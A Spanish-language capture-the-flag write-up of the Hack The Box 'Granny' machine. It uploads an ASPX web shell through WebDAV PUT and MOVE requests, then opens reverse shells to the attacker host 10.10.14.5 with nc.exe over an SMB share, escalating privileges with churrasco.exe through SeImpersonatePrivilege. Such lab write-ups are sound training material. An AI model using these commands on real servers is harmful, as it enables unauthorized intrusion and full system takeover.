Granny es una máquina de dificultad Easy
en la plataforma Hack The Box
En esta máquina explotaremos una vulnerabilidad Webdav
que nos permitirá llevar a cabo un RFI
(Remote File Inclusion)
Reconocimiento
Utilizaremos la herramienta nmap
para listar los puertos abiertos en la máquina víctima:
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.15 -oG allPorts
Vemos que esta el puerto 80
abierto.
Vamos a realizar un escaneo de servicios y versiones corriendo por este puerto:
1
nmap -sCV -p80 10.10.10.15 -oN versions
Gracias al conjunto de scripts básicos de reconocimiento que aplica el escaneo, podemos ver los tipos de peticiones que se pueden realizar en el servidor, además de que en el puerto 80
se ha detectado un Webdav
además de un IIS
(Servidor web que maneja solicitudes HTTP y HTTPS)
Si entramos en la web no vamos a ver nada relevante, ni que podamos usar:
Explotación
Vamos a aprovechar una vulnerabilidad de Webdav
que nos permite mediante curl
subir archivos a la máquina víctima
Para ello vamos a intentar subir una web shell (cmdasp.aspx)
Primero copiaremos la web shell en la ruta actual
1
cp /usr/share/webshells/aspx/cmdasp.aspx ..
Posteriormente subiremos la web shell a la máquina víctima con curl:
1
curl -s -X PUT http://10.10.10.15/cmdasp.txt -d @cmdasp.aspx
Subiremos el archivo en formato
.txt
ya que no podremos en formato.aspx
Una vez el archivo ya subido aprovecharemos el metodo MOVE
para cambiar la extensión de la web shell y poder ejecutarla:
1
curl -s -X MOVE -H "Destination:http://10.10.10.15/cmdasp.aspx" http://10.10.10.15/cmdasp.txt
Utilizaremos la cabecera
Destination
para modificar el archivo
Ahora si accedemos al archivo tendremos una shell en la que podremos ejecutar comandos:
Para conseguir una reverse shell nos copiaremos al archivo actual el nc.exe
1
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
Utilizaremos impacket-smbserver
para establecer una conexión por smb
y así poder compartir el archivo nc.exe
con la máquina víctima
1
impacket-smbserver smbFolder $(pwd)
Por otra parte en la web shell ejecutaremos el siguiente comando para compartirnos una shell mediante nc.exe
1
\\10.10.14.5\smbFolder\nc.exe -e cmd 10.10.14.5 443
A su vez en nuestra máquina nos pondremos en escucha por el puerto 443
1
rlwrap nc -nlvp 443
Y como vemos habremos conseguido acceso a la máquina:
Pero no tendremos acceso a los usuarios de la máquina por lo que no podremos ver las flags
Escalada de Privilegios
Para listar los permisos del usuario ejecutaremos:
1
whoami /priv
El permiso que nos interesa es SeImpersonatePrivilege
Este permiso es único en Windows, y permite a un usuario o proceso hacerse pasar por otro usuario o proceso
Si buscamos sobre la escalada de privilegios explotando este permiso nos llevará a https://github.com/Re4son/Churrasco/raw/master/churrasco.exe y descargaremos el ejecutable churrasco.exe
(xd)
Utilizando el impacket-smbserver
compartiremos el ejecutable con la máquina víctima
1
impacket-smbserver smbFolder $(pwd)
En la máquina víctima nos moveremos a C:\WINDOWS\temp
y en esta ruta usaremos el comando:
1
copy \\10.10.14.5\smbFolder\churrasco.exe churrasco.exe
Y una vez copiado ejecutaremos churrasco.exe
1
2
3
churrasco.exe
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"
Vemos la función del ejecutable, por lo que intentaremos conseguir una shell como root
, así que deberemos usar nc.exe
:
1
churrasco.exe "\\10.10.14.5\smbFolder\nc.exe -e cmd 10.10.14.5 443"
Y de nuevo nos pondremos en escucha con nc
por el puerto 443
:
Y ya tendremos acceso a la máquina como usuario privilegiado
Podremos ver ambas flag en el Desktop
del usuario
y del administrator
Espero que os haya gustado y servido, cualquier comentario es de mucha ayuda. Adios!